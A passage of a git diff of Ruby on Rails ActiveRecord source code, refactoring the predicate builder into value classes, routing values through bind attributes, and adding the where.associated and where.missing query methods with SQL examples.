+          relation.from_clause.empty? && !other.from_clause.empty? &&
+            relation.model.base_class == other.model.base_class
         end
     end
   end
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index 18ae10a652281..11881a4f10e79 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -1,53 +1,43 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   class PredicateBuilder # :nodoc:
     require "active_record/relation/predicate_builder/array_handler"
-    require "active_record/relation/predicate_builder/association_query_handler"
-    require "active_record/relation/predicate_builder/base_handler"
     require "active_record/relation/predicate_builder/basic_object_handler"
-    require "active_record/relation/predicate_builder/polymorphic_array_handler"
     require "active_record/relation/predicate_builder/range_handler"
     require "active_record/relation/predicate_builder/relation_handler"
-
-    delegate :resolve_column_aliases, to: :table
+    require "active_record/relation/predicate_builder/association_query_value"
+    require "active_record/relation/predicate_builder/polymorphic_array_value"
 
     def initialize(table)
       @table = table
       @handlers = []
 
-      register_handler(BasicObject, BasicObjectHandler.new)
-      register_handler(Base, BaseHandler.new(self))
-      register_handler(Range, RangeHandler.new)
-      register_handler(RangeHandler::RangeWithBinds, RangeHandler.new)
+      register_handler(BasicObject, BasicObjectHandler.new(self))
+      register_handler(Range, RangeHandler.new(self))
       register_handler(Relation, RelationHandler.new)
       register_handler(Array, ArrayHandler.new(self))
-      register_handler(AssociationQueryValue, AssociationQueryHandler.new(self))
-      register_handler(PolymorphicArrayValue, PolymorphicArrayHandler.new(self))
-    end
-
-    def build_from_hash(attributes)
-      attributes = convert_dot_notation_to_hash(attributes)
-      expand_from_hash(attributes)
+      register_handler(Set, ArrayHandler.new(self))
     end
 
-    def create_binds(attributes)
+    def build_from_hash(attributes, &block)
       attributes = convert_dot_notation_to_hash(attributes)
-      create_binds_for_hash(attributes)
+      expand_from_hash(attributes, &block)
     end
 
     def self.references(attributes)
-      attributes.map do |key, value|
+      attributes.each_with_object([]) do |(key, value), result|
         if value.is_a?(Hash)
-          key
-        else
-          key = key.to_s
-          key.split(".".freeze).first if key.include?(".".freeze)
+          result << Arel.sql(key, retryable: true)
+        elsif (idx = key.rindex("."))
+          result << Arel.sql(key[0, idx], retryable: true)
         end
-      end.compact
+      end
     end
 
     # Define how a class is converted to Arel nodes when passed to +where+.
     # The handler can be any object that responds to +call+, and will be used
-    # for any value that +===+ the class given. For example:
+    # for any value that <tt>===</tt> the class given. For example:
     #
     #     MyCustomDateRange = Struct.new(:start, :end)
     #     handler = proc do |column, range|
@@ -60,112 +50,142 @@ def register_handler(klass, handler)
       @handlers.unshift([klass, handler])
     end
 
-    def build(attribute, value)
-      handler_for(value).call(attribute, value)
+    def [](attr_name, value, operator = nil)
+      build(table.arel_table[attr_name], value, operator)
     end
 
-    # TODO Change this to private once we've dropped Ruby 2.2 support.
-    # Workaround for Ruby 2.2 "private attribute?" warning.
-    protected
+    def build(attribute, value, operator = nil)
+      value = value.id if value.respond_to?(:id)
+      if operator ||= table.type(attribute.name).force_equality?(value) && :eq
+        bind = build_bind_attribute(attribute.name, value)
+        attribute.public_send(operator, bind)
+      else
+        handler_for(value).call(attribute, value)
+      end
+    end
 
-      attr_reader :table
+    def build_bind_attribute(column_name, value)
+      Relation::QueryAttribute.new(column_name, value, table.type(column_name))
+    end
+
+    def resolve_arel_attribute(table_name, column_name, &block)
+      table.associated_table(table_name, &block).arel_table[column_name]
+    end
+
+    def with(table)
+      other = dup
+      other.table = table
+      other
+    end
 
-      def expand_from_hash(attributes)
-        return ["1=0"] if attributes.empty?
+    protected
+      attr_writer :table
+
+      def expand_from_hash(attributes, &block)
+        return [Arel.sql("1=0", retryable: true)] if attributes.empty?
 
         attributes.flat_map do |key, value|
-          if value.is_a?(Hash) && !table.has_column?(key)
-            associated_predicate_builder(key).expand_from_hash(value)
-          else
-            build(table.arel_attribute(key), value)
+          if key.is_a?(Array) && key.size == 1
+            key = key.first
+            value = value.flatten
           end
-        end
-      end
 
-      def create_binds_for_hash(attributes)
-        result = attributes.dup
-        binds = []
-
-        attributes.each do |column_name, value|
-          case
-          when value.is_a?(Hash) && !table.has_column?(column_name)
-            attrs, bvs = associated_predicate_builder(column_name).create_binds_for_hash(value)
-            result[column_name] = attrs
-            binds += bvs
-            next
-          when value.is_a?(Relation)
-            binds += value.bound_attributes
-          when value.is_a?(Range) && !table.type(column_name).respond_to?(:subtype)
-            first = value.begin
-            last = value.end
-            unless first.respond_to?(:infinite?) && first.infinite?
-              binds << build_bind_param(column_name, first)
-              first = Arel::Nodes::BindParam.new
+          if key.is_a?(Array)
+            queries = Array(value).map do |ids_set|
+              raise ArgumentError, "Expected corresponding value for #{key} to be an Array" unless ids_set.is_a?(Array)
+              expand_from_hash(key.zip(ids_set).to_h)
             end
-            unless last.respond_to?(:infinite?) && last.infinite?
-              binds << build_bind_param(column_name, last)
-              last = Arel::Nodes::BindParam.new
+            grouping_queries(queries)
+          elsif value.is_a?(Hash) && !table.has_column?(key)
+            table.associated_table(key, &block)
+              .predicate_builder.expand_from_hash(value.stringify_keys)
+          elsif (associated_reflection = table.associated_with(key))
+            # Find the foreign key when using queries such as:
+            # Post.where(author: author)
+            #
+            # For polymorphic relationships, find the foreign key and type:
+            # PriceEstimate.where(estimate_of: treasure)
+
+            if associated_reflection.polymorphic?
+              value = [value] unless value.is_a?(Array)
+              klass = PolymorphicArrayValue
+            elsif associated_reflection.through_reflection?
+              associated_table = table.associated_table(key)
+
+              next associated_table.predicate_builder.expand_from_hash(
+                associated_table.primary_key => value
+              )
             end
 
-            result[column_name] = RangeHandler::RangeWithBinds.new(first, last, value.exclude_end?)
-          else
-            if can_be_bound?(column_name, value)
-              result[column_name] = Arel::Nodes::BindParam.new
-              binds << build_bind_param(column_name, value)
+            klass ||= AssociationQueryValue
+            queries = klass.new(associated_reflection, value).queries.map! do |query|
+              # If the query produced is identical to attributes don't go any deeper.
+              # Prevents stack level too deep errors when association and foreign_key are identical.
+              query == attributes ? self[key, value] : expand_from_hash(query)
             end
-          end
 
-          # Find the foreign key when using queries such as:
-          # Post.where(author: author)
-          #
-          # For polymorphic relationships, find the foreign key and type:
-          # PriceEstimate.where(estimate_of: treasure)
-          if table.associated_with?(column_name)
-            result[column_name] = AssociationQueryHandler.value_for(table, column_name, value)
+            grouping_queries(queries)
+          elsif table.aggregated_with?(key)
+            mapping = table.reflect_on_aggregation(key).mapping
+            values = value.nil? ? [nil] : Array.wrap(value)
+            if mapping.length == 1 || values.empty?
+              column_name, aggr_attr = mapping.first
+              values = values.map do |object|
+                object.respond_to?(aggr_attr) ? object.public_send(aggr_attr) : object
+              end
+              self[column_name, values]
+            else
+              queries = values.map do |object|
+                mapping.map do |field_attr, aggregate_attr|
+                  self[field_attr, object.try!(aggregate_attr)]
+                end
+              end
+
+              grouping_queries(queries)
+            end
+          else
+            self[key, value]
           end
         end
-
-        [result, binds]
       end
 
     private
+      attr_reader :table
 
-      def associated_predicate_builder(association_name)
-        self.class.new(table.associated_table(association_name))
+      def grouping_queries(queries)
+        if queries.one?
+          queries.first
+        else
+          queries.map! { |query| query.reduce(&:and) }
+          queries = Arel::Nodes::Or.new(queries)
+          Arel::Nodes::Grouping.new(queries)
+        end
       end
 
       def convert_dot_notation_to_hash(attributes)
-        dot_notation = attributes.select do |k, v|
-          k.include?(".".freeze) && !v.is_a?(Hash)
-        end
-
-        dot_notation.each_key do |key|
-          table_name, column_name = key.split(".".freeze)
-          value = attributes.delete(key)
-          attributes[table_name] ||= {}
+        attributes.each_with_object({}) do |(key, value), converted|
+          if value.is_a?(Hash)
+            if (existing = converted[key])
+              existing.merge!(value)
+            else
+              converted[key] = value.dup
+            end
+          elsif (idx = key.rindex("."))
+            table_name, column_name = key[0, idx], key[idx + 1, key.length]
 
-          attributes[table_name] = attributes[table_name].merge(column_name => value)
+            if (existing = converted[table_name])
+              existing[column_name] = value
+            else
+              converted[table_name] = { column_name => value }
+            end
+          else
+            converted[key] = value
+          end
         end
-
-        attributes
       end
 
       def handler_for(object)
         @handlers.detect { |klass, _| klass === object }.last
       end
-
-      def can_be_bound?(column_name, value)
-        return if table.associated_with?(column_name)
-        case value
-        when Array, Range
-          table.type(column_name).respond_to?(:subtype)
-        else
-          !value.nil? && handler_for(value).is_a?(BasicObjectHandler)
-        end
-      end
-
-      def build_bind_param(column_name, value)
-        Relation::QueryAttribute.new(column_name.to_s, value, table.type(column_name))
-      end
   end
 end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
index 88b6c37d43167..c8455799ad19d 100644
--- a/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract"
+
 module ActiveRecord
   class PredicateBuilder
     class ArrayHandler # :nodoc:
@@ -6,33 +10,32 @@ def initialize(predicate_builder)
       end
 
       def call(attribute, value)
-        values = value.map { |x| x.is_a?(Base) ? x.id : x }
-        nils, values = values.partition(&:nil?)
-
-        return attribute.in([]) if values.empty? && nils.empty?
+        return attribute.in([]) if value.empty?
 
-        ranges, values = values.partition { |v| v.is_a?(Range) }
+        values = value.map { |x| x.is_a?(Base) ? x.id : x }
+        nils = values.compact!
+        ranges = values.extract! { |v| v.is_a?(Range) }
 
         values_predicate =
           case values.length
           when 0 then NullPredicate
           when 1 then predicate_builder.build(attribute, values.first)
-          else attribute.in(values)
+          else Arel::Nodes::HomogeneousIn.new(values, attribute, :in)
           end
 
-        unless nils.empty?
-          values_predicate = values_predicate.or(predicate_builder.build(attribute, nil))
+        if nils
+          values_predicate = values_predicate.or(attribute.eq(nil))
         end
 
-        array_predicates = ranges.map { |range| predicate_builder.build(attribute, range) }
-        array_predicates.unshift(values_predicate)
-        array_predicates.inject { |composite, predicate| composite.or(predicate) }
+        if ranges.empty?
+          values_predicate
+        else
+          array_predicates = ranges.map! { |range| predicate_builder.build(attribute, range) }
+          array_predicates.inject(values_predicate, &:or)
+        end
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
+      private
         attr_reader :predicate_builder
 
         module NullPredicate # :nodoc:
diff --git a/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb
deleted file mode 100644
index 29860ec677375..0000000000000
--- a/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-module ActiveRecord
-  class PredicateBuilder
-    class AssociationQueryHandler # :nodoc:
-      def self.value_for(table, column, value)
-        associated_table = table.associated_table(column)
-        klass = if associated_table.polymorphic_association? && ::Array === value && value.first.is_a?(Base)
-          PolymorphicArrayValue
-        else
-          AssociationQueryValue
-        end
-
-        klass.new(associated_table, value)
-      end
-
-      def initialize(predicate_builder)
-        @predicate_builder = predicate_builder
-      end
-
-      def call(attribute, value)
-        queries = {}
-
-        table = value.associated_table
-        if value.base_class
-          queries[table.association_foreign_type.to_s] = value.base_class.name
-        end
-
-        queries[table.association_foreign_key.to_s] = value.ids
-        predicate_builder.build_from_hash(queries)
-      end
-
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :predicate_builder
-    end
-
-    class AssociationQueryValue # :nodoc:
-      attr_reader :associated_table, :value
-
-      def initialize(associated_table, value)
-        @associated_table = associated_table
-        @value = value
-      end
-
-      def ids
-        case value
-        when Relation
-          value.select(primary_key)
-        when Array
-          value.map { |v| convert_to_id(v) }
-        else
-          convert_to_id(value)
-        end
-      end
-
-      def base_class
-        if associated_table.polymorphic_association?
-          @base_class ||= polymorphic_base_class_from_value
-        end
-      end
-
-      private
-
-        def primary_key
-          associated_table.association_primary_key(base_class)
-        end
-
-        def polymorphic_base_class_from_value
-          case value
-          when Relation
-            value.klass.base_class
-          when Base
-            value.class.base_class
-          end
-        end
-
-        def convert_to_id(value)
-          case value
-          when Base
-            value._read_attribute(primary_key)
-          else
-            value
-          end
-        end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/association_query_value.rb b/activerecord/lib/active_record/relation/predicate_builder/association_query_value.rb
new file mode 100644
index 0000000000000..768c0cd4386d1
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/association_query_value.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder
+    class AssociationQueryValue # :nodoc:
+      def initialize(reflection, value)
+        @reflection = reflection
+        @value = value
+      end
+
+      def queries
+        if reflection.join_foreign_key.is_a?(Array)
+          id_list = ids
+          id_list = id_list.pluck(primary_key) if id_list.is_a?(Relation)
+
+          id_list.map { |ids_set| reflection.join_foreign_key.zip(ids_set).to_h }
+        else
+          [ reflection.join_foreign_key => ids ]
+        end
+      end
+
+      private
+        attr_reader :reflection, :value
+
+        def ids
+          case value
+          when Relation
+            relation = value
+            relation = relation.select(primary_key) if select_clause?
+            relation = relation.where(primary_type => polymorphic_name) if polymorphic_clause?
+            relation
+          when Array
+            value.map { |v| convert_to_id(v) }
+          else
+            [convert_to_id(value)]
+          end
+        end
+
+        def primary_key
+          reflection.join_primary_key
+        end
+
+        def primary_type
+          reflection.join_primary_type
+        end
+
+        def polymorphic_name
+          reflection.polymorphic_name
+        end
+
+        def select_clause?
+          value.select_values.empty?
+        end
+
+        def polymorphic_clause?
+          primary_type && !value.where_values_hash.has_key?(primary_type)
+        end
+
+        def convert_to_id(value)
+          if primary_key.is_a?(Array)
+            primary_key.map do |attribute|
+              next nil if value.nil?
+
+              if attribute == "id"
+                value.id_value
+              else
+                value.public_send(attribute)
+              end
+            end
+          elsif value.respond_to?(primary_key)
+            value.public_send(primary_key)
+          else
+            value
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/base_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/base_handler.rb
deleted file mode 100644
index 3bb1037885466..0000000000000
--- a/activerecord/lib/active_record/relation/predicate_builder/base_handler.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-module ActiveRecord
-  class PredicateBuilder
-    class BaseHandler # :nodoc:
-      def initialize(predicate_builder)
-        @predicate_builder = predicate_builder
-      end
-
-      def call(attribute, value)
-        predicate_builder.build(attribute, value.id)
-      end
-
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :predicate_builder
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb
index 79cde00303a1b..e8c9f60860582 100644
--- a/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb
@@ -1,9 +1,19 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   class PredicateBuilder
     class BasicObjectHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
       def call(attribute, value)
-        attribute.eq(value)
+        bind = predicate_builder.build_bind_attribute(attribute.name, value)
+        attribute.eq(bind)
       end
+
+      private
+        attr_reader :predicate_builder
     end
   end
 end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_handler.rb
deleted file mode 100644
index 335124c952dff..0000000000000
--- a/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_handler.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-module ActiveRecord
-  class PredicateBuilder
-    class PolymorphicArrayHandler # :nodoc:
-      def initialize(predicate_builder)
-        @predicate_builder = predicate_builder
-      end
-
-      def call(attribute, value)
-        table = value.associated_table
-        queries = value.type_to_ids_mapping.map do |type, ids|
-          { table.association_foreign_type.to_s => type, table.association_foreign_key.to_s => ids }
-        end
-
-        predicates = queries.map { |query| predicate_builder.build_from_hash(query) }
-
-        if predicates.size > 1
-          type_and_ids_predicates = predicates.map { |type_predicate, id_predicate| Arel::Nodes::Grouping.new(type_predicate.and(id_predicate)) }
-          type_and_ids_predicates.inject(&:or)
-        else
-          predicates.first
-        end
-      end
-
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :predicate_builder
-    end
-
-    class PolymorphicArrayValue # :nodoc:
-      attr_reader :associated_table, :values
-
-      def initialize(associated_table, values)
-        @associated_table = associated_table
-        @values = values
-      end
-
-      def type_to_ids_mapping
-        default_hash = Hash.new { |hsh, key| hsh[key] = [] }
-        values.each_with_object(default_hash) { |value, hash| hash[base_class(value).name] << convert_to_id(value) }
-      end
-
-      private
-
-        def primary_key(value)
-          associated_table.association_primary_key(base_class(value))
-        end
-
-        def base_class(value)
-          value.class.base_class
-        end
-
-        def convert_to_id(value)
-          value._read_attribute(primary_key(value))
-        end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value.rb b/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value.rb
new file mode 100644
index 0000000000000..48f93d5811f3b
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder
+    class PolymorphicArrayValue # :nodoc:
+      def initialize(reflection, values)
+        @reflection = reflection
+        @values = values
+      end
+
+      def queries
+        return [ reflection.join_foreign_key => values ] if values.empty?
+
+        type_to_ids_mapping.map do |type, ids|
+          query = {}
+          query[reflection.join_foreign_type] = type if type
+          query[reflection.join_foreign_key] = ids
+          query
+        end
+      end
+
+      private
+        attr_reader :reflection, :values
+
+        def type_to_ids_mapping
+          default_hash = Hash.new { |hsh, key| hsh[key] = [] }
+          values.each_with_object(default_hash) do |value, hash|
+            hash[klass(value)&.polymorphic_name] << convert_to_id(value)
+          end
+        end
+
+        def primary_key(value)
+          reflection.join_primary_key(klass(value))
+        end
+
+        def klass(value)
+          if value.is_a?(Base)
+            value.class
+          elsif value.is_a?(Relation)
+            value.model
+          end
+        end
+
+        def convert_to_id(value)
+          if value.is_a?(Base)
+            primary_key = primary_key(value)
+            if primary_key.is_a?(Array)
+              primary_key.map { |column| value._read_attribute(column) }
+            else
+              value._read_attribute(primary_key)
+            end
+          elsif value.is_a?(Relation)
+            value.select(primary_key(value))
+          else
+            value
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb
index 5db778e19c07e..2ea27c8490d51 100644
--- a/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb
@@ -1,25 +1,22 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   class PredicateBuilder
     class RangeHandler # :nodoc:
       RangeWithBinds = Struct.new(:begin, :end, :exclude_end?)
 
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
       def call(attribute, value)
-        if value.begin.respond_to?(:infinite?) && value.begin.infinite?
-          if value.end.respond_to?(:infinite?) && value.end.infinite?
-            attribute.not_in([])
-          elsif value.exclude_end?
-            attribute.lt(value.end)
-          else
-            attribute.lteq(value.end)
-          end
-        elsif value.end.respond_to?(:infinite?) && value.end.infinite?
-          attribute.gteq(value.begin)
-        elsif value.exclude_end?
-          attribute.gteq(value.begin).and(attribute.lt(value.end))
-        else
-          attribute.between(value)
-        end
+        begin_bind = predicate_builder.build_bind_attribute(attribute.name, value.begin)
+        end_bind = predicate_builder.build_bind_attribute(attribute.name, value.end)
+        attribute.between(RangeWithBinds.new(begin_bind, end_bind, value.exclude_end?))
       end
+
+      private
+        attr_reader :predicate_builder
     end
   end
 end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
index 8a910a82fe5de..b43a34292f415 100644
--- a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
@@ -1,9 +1,20 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   class PredicateBuilder
     class RelationHandler # :nodoc:
       def call(attribute, value)
+        if value.eager_loading?
+          value = value.send(:apply_join_dependency)
+        end
+
         if value.select_values.empty?
-          value = value.select(value.arel_attribute(value.klass.primary_key))
+          model = value.model
+          if model.composite_primary_key?
+            raise ArgumentError, "Cannot map composite primary key #{model.primary_key} to #{attribute.name}"
+          else
+            value = value.select(value.table[model.primary_key])
+          end
         end
 
         attribute.in(value.arel)
diff --git a/activerecord/lib/active_record/relation/query_attribute.rb b/activerecord/lib/active_record/relation/query_attribute.rb
index a68e508fcc83b..bcb121e9ce19a 100644
--- a/activerecord/lib/active_record/relation/query_attribute.rb
+++ b/activerecord/lib/active_record/relation/query_attribute.rb
@@ -1,19 +1,70 @@
-require "active_record/attribute"
+# frozen_string_literal: true
+
+require "active_model/attribute"
 
 module ActiveRecord
   class Relation
-    class QueryAttribute < Attribute # :nodoc:
+    class QueryAttribute < ActiveModel::Attribute # :nodoc:
+      def initialize(...)
+        super
+
+        # The query attribute value may be mutated before we actually "compile" the query.
+        # To avoid that if the type uses a serializer we eagerly compute the value for database
+        if value_before_type_cast.is_a?(StatementCache::Substitute)
+          # we don't need to serialize StatementCache::Substitute
+        elsif @type.serialized?
+          value_for_database
+        elsif @type.mutable? # If the type is simply mutable, we deep_dup it.
+          unless @value_before_type_cast.frozen?
+            @value_before_type_cast = @value_before_type_cast.deep_dup
+          end
+        end
+      end
+
       def type_cast(value)
         value
       end
 
       def value_for_database
-        @value_for_database ||= super
+        @value_for_database = _value_for_database unless defined?(@value_for_database)
+        @value_for_database
       end
 
       def with_cast_value(value)
         QueryAttribute.new(name, value, type)
       end
+
+      def nil?
+        unless value_before_type_cast.is_a?(StatementCache::Substitute)
+          value_before_type_cast.nil? ||
+            (type.respond_to?(:subtype) || type.respond_to?(:normalizer)) && serializable? && value_for_database.nil?
+        end
+      end
+
+      def infinite?
+        infinity?(value_before_type_cast) || serializable? && infinity?(value_for_database)
+      end
+
+      def unboundable?
+        unless defined?(@_unboundable)
+          serializable? { |value| @_unboundable = value <=> 0 } && @_unboundable = nil
+        end
+        @_unboundable
+      end
+
+      def ==(other)
+        super && value_for_database == other.value_for_database
+      end
+      alias eql? ==
+
+      def hash
+        [self.class, name, value_for_database, type].hash
+      end
+
+      private
+        def infinity?(value)
+          value.respond_to?(:infinite?) && value.infinite?
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index 4ee413c805695..20dc65f88f489 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -1,21 +1,18 @@
+# frozen_string_literal: true
+
 require "active_record/relation/from_clause"
 require "active_record/relation/query_attribute"
 require "active_record/relation/where_clause"
-require "active_record/relation/where_clause_factory"
-require "active_model/forbidden_attributes_protection"
+require "active_support/core_ext/array/wrap"
 
 module ActiveRecord
   module QueryMethods
-    extend ActiveSupport::Concern
-
     include ActiveModel::ForbiddenAttributesProtection
 
-    # WhereChain objects act as placeholder for queries in which #where does not have any parameter.
-    # In this case, #where must be chained with #not to return a new relation.
+    # +WhereChain+ objects act as placeholder for queries in which +where+ does not have any parameter.
+    # In this case, +where+ can be chained to return a new relation.
     class WhereChain
-      include ActiveModel::ForbiddenAttributesProtection
-
-      def initialize(scope)
+      def initialize(scope) # :nodoc:
         @scope = scope
       end
 
@@ -41,144 +38,312 @@ def initialize(scope)
       #    # SELECT * FROM users WHERE name NOT IN ('Ko1', 'Nobu')
       #
       #    User.where.not(name: "Jon", role: "admin")
-      #    # SELECT * FROM users WHERE name != 'Jon' AND role != 'admin'
+      #    # SELECT * FROM users WHERE NOT (name = 'Jon' AND role = 'admin')
+      #
+      # If there is a non-nil condition on a nullable column in the hash condition, the records that have
+      # nil values on the nullable column won't be returned.
+      #    User.create!(nullable_country: nil)
+      #    User.where.not(nullable_country: "UK")
+      #    # SELECT * FROM users WHERE NOT (nullable_country = 'UK')
+      #    # => []
       def not(opts, *rest)
-        opts = sanitize_forbidden_attributes(opts)
-
-        where_clause = @scope.send(:where_clause_factory).build(opts, rest)
+        where_clause = @scope.send(:build_where_clause, opts, rest)
 
-        @scope.references!(PredicateBuilder.references(opts)) if Hash === opts
         @scope.where_clause += where_clause.invert
+
         @scope
       end
+
+      # Returns a new relation with joins and where clause to identify
+      # associated relations.
+      #
+      # For example, posts that are associated to a related author:
+      #
+      #    Post.where.associated(:author)
+      #    # SELECT "posts".* FROM "posts"
+      #    # INNER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+      #    # WHERE "authors"."id" IS NOT NULL
+      #
+      # Additionally, multiple relations can be combined. This will return posts
+      # associated to both an author and any comments:
+      #
+      #    Post.where.associated(:author, :comments)
+      #    # SELECT "posts".* FROM "posts"
+      #    # INNER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+      #    # INNER JOIN "comments" ON "comments"."post_id" = "posts"."id"
+      #    # WHERE "authors"."id" IS NOT NULL AND "comments"."id" IS NOT NULL
+      #
+      # You can define join type in the scope and +associated+ will not use `JOIN` by default.
+      #
+      #    Post.left_joins(:author).where.associated(:author)
+      #    # SELECT "posts".* FROM "posts"
+      #    # LEFT OUTER JOIN "authors" "authors"."id" = "posts"."author_id"
+      #    # WHERE "authors"."id" IS NOT NULL
+      #
+      #    Post.left_joins(:comments).where.associated(:author)
+      #    # SELECT "posts".* FROM "posts"
+      #    # INNER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+      #    # LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id"
+      #   #  WHERE "author"."id" IS NOT NULL
+      def associated(*associations)
+        associations.each do |association|
+          reflection = scope_association_reflection(association)
+          unless @scope.joins_values.include?(reflection.name) || @scope.left_outer_joins_values.include?(reflection.name)
+            @scope.joins!(association)
+          end
+
+          association_conditions = Array(reflection.association_primary_key).index_with(nil)
+          if reflection.options[:class_name]
+            self.not(association => association_conditions)
+          else
+            self.not(reflection.table_name => association_conditions)
+          end
+        end
+
+        @scope
+      end
+
+      # Returns a new relation with left outer joins and where clause to identify
+      # missing relations.
+      #
+      # For example, posts that are missing a related author:
+      #
+      #    Post.where.missing(:author)
+      #    # SELECT "posts".* FROM "posts"
+      #    # LEFT OUTER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+      #    # WHERE "authors"."id" IS NULL
+      #
+      # Additionally, multiple relations can be combined. This will return posts
+      # that are missing both an author and any comments:
+      #
+      #    Post.where.missing(:author, :comments)
+      #    # SELECT "posts".* FROM "posts"
+      #    # LEFT OUTER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+      #    # LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id"
+      #    # WHERE "authors"."id" IS NULL AND "comments"."id" IS NULL
+      def missing(*associations)
+        associations.each do |association|
+          reflection = scope_association_reflection(association)
+          @scope.left_outer_joins!(association)
+          association_conditions = Array(reflection.association_primary_key).index_with(nil)
+          if reflection.options[:class_name]
+            @scope.where!(association => association_conditions)
+          else
+            @scope.where!(reflection.table_name => association_conditions)
+          end
+        end
+
+        @scope
+      end
+
+      private
+        def scope_association_reflection(association)
+          model = @scope.model
+          reflection = model._reflect_on_association(association)
+          unless reflection
+            raise ArgumentError.new("An association named `:#{association}` does not exist on the model `#{model.name}`.")
+          end
+          reflection
+        end
+    end
+
+    # A wrapper to distinguish CTE joins from other nodes.
+    class CTEJoin # :nodoc:
+      attr_reader :name
+
+      def initialize(name)
+        @name = name
+      end
     end
 
     FROZEN_EMPTY_ARRAY = [].freeze
     FROZEN_EMPTY_HASH = {}.freeze
 
     Relation::VALUE_METHODS.each do |name|
-      method_name = \
+      method_name, default =
         case name
-        when *Relation::MULTI_VALUE_METHODS then "#{name}_values"
-        when *Relation::SINGLE_VALUE_METHODS then "#{name}_value"
-        when *Relation::CLAUSE_METHODS then "#{name}_clause"
+        when *Relation::MULTI_VALUE_METHODS
+          ["#{name}_values", "FROZEN_EMPTY_ARRAY"]
+        when *Relation::SINGLE_VALUE_METHODS
+          ["#{name}_value", name == :create_with ? "FROZEN_EMPTY_HASH" : "nil"]
+        when *Relation::CLAUSE_METHODS
+          ["#{name}_clause", name == :from ? "Relation::FromClause.empty" : "Relation::WhereClause.empty"]
         end
-      class_eval <<-CODE, __FILE__, __LINE__ + 1
-        def #{method_name}                   # def includes_values
-          get_value(#{name.inspect})         #   get_value(:includes)
-        end                                  # end
 
-        def #{method_name}=(value)           # def includes_values=(value)
-          set_value(#{name.inspect}, value)  #   set_value(:includes, value)
-        end                                  # end
+      class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{method_name}                     # def includes_values
+          @values.fetch(:#{name}, #{default})  #   @values.fetch(:includes, FROZEN_EMPTY_ARRAY)
+        end                                    # end
+
+        def #{method_name}=(value)             # def includes_values=(value)
+          assert_modifiable!                   #   assert_modifiable!
+          @values[:#{name}] = value            #   @values[:includes] = value
+        end                                    # end
       CODE
     end
 
-    def bound_attributes
-      if limit_value
-        limit_bind = Attribute.with_cast_value(
-          "LIMIT".freeze,
-          connection.sanitize_limit(limit_value),
-          Type.default_value,
-        )
-      end
-      if offset_value
